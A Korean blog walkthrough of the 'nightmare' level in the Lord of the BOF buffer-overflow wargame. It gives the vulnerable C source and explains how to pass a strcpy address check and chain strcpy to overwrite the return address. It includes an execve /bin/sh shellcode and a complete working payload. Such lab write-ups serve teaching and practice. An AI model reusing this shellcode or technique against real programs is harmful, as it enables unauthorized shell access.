/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
소스를 보면 문제를 풀기 위한 중요한 부분이 있음
1. memcmp함수를 통해 argv[1]의 44바이트 부분 부터 4바이트를 strcpy함수의 주소와 비교해 같으면 if를 통과
2. strcpy를 통해 argv[1]에 입력된 값을 buffer에 저장 후 memset함수에 의해 48바이트 부분 부터 4바이트가 'A'로 변경됨
이 부분을 우회하면 문제를 풀 수 있다.
먼저 memcmp함수를 통과하기 위해 strcpy 함수의 주소를 알아낸다.
strcpy의 주소는 gdb로 확인할 수 있다.
strcpy -> 0x8048410
이제 저부분이 통과가 되는지 페이로드를 작성해 확인해본다.
payload = `python -c 'print "\x90"*44+"\x10\x84\x04\x08"'`
세그먼트 폴트가 뜨면서 프로그램이 종료됐다.
일단 memcmp부분은 통과한 것이다.
이제 gdb로 main의 leave에 bp를 걸고 48바이트 뒷 부분이 'A'로 변경이 되나 확인해보면 아래와 같이 A로 변경이 된것을 확인할 수 있다.
이 문제를 풀기 위해 strcpy를 이용해야한다.
현재는 ret가 memset에 의해 0x41414141로 변경되어서 seg fault가 뜨면서 종료 된다.
소스코드에 의해 sfp는 strcpy로 고정되어 있으므로 argv[1]에 strcpy의 인자를 주어서 0x41414141이 들어가 있는 주소에 쉘코드가 있는 주소를 넣어주면 ret를 쉘코드가 있는 주소로 변경할 수 있다.
아래는 strcpy함수의 syntax다.
char *strcpy(char *strDestination, const char *strSource);
인자로 Dst, Src를 주면 되겠다.
이제 payload를 완성해 나가면 된다.
먼저 쉘코드는 25바이트 짜리를 사용했다.
Shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
payload : &shell[4]+NOP[15]+shell[25]+strcpy[4]+NOP[4]+&AAAA[4]+shell코드의 주소가 있는 주소[4]
이렇게 작성해서 gdbdump를 이용해 정확히 주소를 찾아가면서 수정하여 얻은 payload는 아래와 같다.
payload : `python -c 'print "\x0f\xfc\xff\xbf"+"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x10\x84\x04\x08"+"\x90"*4+"\xb0\xfa\xff\xbf"+"\x80\xfa\xff\xbf"'`
'Wargame > lord of bufferoverflow' 카테고리의 다른 글
Lord of bufferoverflow xavius (0) | 2017.10.12 |
---|---|
Lord of bufferoverflow nightmare (0) | 2017.09.26 |
Lord of bufferoverflow zombie_assassin (0) | 2017.09.07 |
Lord of bufferoverflow assassin (0) | 2017.08.26 |
Lord of bufferoverflow giant (0) | 2017.08.26 |